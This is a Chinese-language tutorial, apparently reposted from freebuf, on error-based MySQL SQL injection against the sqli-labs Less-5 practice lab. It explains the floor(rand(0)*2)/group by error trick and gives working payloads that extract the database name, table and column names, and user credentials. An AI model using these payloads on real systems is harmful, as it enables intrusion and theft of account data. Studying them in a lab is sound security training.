mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队

简介

前面面的盲注文章,学习了基于时间和布尔的盲注;今天写一下基于报错的盲注。。。

报错注入

报错注入就是在注入过程中黑客根据错误回显进行判断。 形式上是两个嵌套的查询,即select…(select…),里面的select被称为子查询,他的执行顺序也是先执行子查询,然后再执行行外面的select,双注入主要涉及到一下sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

less-5为例演示

首先使用报错注入:构造语句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

显示结果

图片[1]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

  • 为什么会出现这样的情况,因为当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

  • 那么,对这个语句中的函数(也就是上面的4个函数)进一个一个学习: 在本地连接数据库,查询测试一下concat()的用法。

输入: select concat(‘qwe’,’abc’);

图片[2]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

看到将qwe和abc拼接在一起

然后测试一下rand()这个随机函数:

输入语句:select floor(1.2343232);select floor(3.893);

图片[3]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

一共输入的三次,每次输出的数都是随机,但是这些数都是大于0,小于1的数

然后测试一下floor()函数

输入语句:select floor(1.2343232);select floor(3.893);

图片[4]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

输出的都是小于或者等于输入的数

然后测试一下双注入查询的组合

输入的语句:select floor(rand()*2);

图片[5]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

分析一下,从里往外走,rand()*2永远不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,测试:

select concat((select database()),floor(rand()*2));

图片[6]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

看到concat将数据库和后面的取整,合并在一起了。 同理,在less-5的第一个报错语句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

图片[7]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

0x3a是:号,所以就将他们拼接起来。

  • 如果在后面加上from emails表的话,那么返回的结果就是security0和security1的集,总共有多少条呢,那就要看表里面有多少列信息。

  • 图片[8]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科
  • 图片[9]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

下面,加上group by语句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

图片[10]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

as a就是将查询的concat((select database()), floor(rand()*2))名字另取a;然后用group by a进行分组。这样相同的security0和security1分别分成一组,也就是两组,也是两种结果。

然后我们加上聚合函数count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

图片[11]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

同理,less-5第一报错:

图片[12]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

参考教程

1.爆出数据库

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

页面显示:

图片[13]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

2.爆出表

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

图片[14]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

3.爆出列名

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

图片[15]-mysql手注初级——get基于报错的盲注 – 作者:ATL安全团队-安全小百科

4.获取用户信息

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

来源:freebuf.com 2020-11-23 10:23:13 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论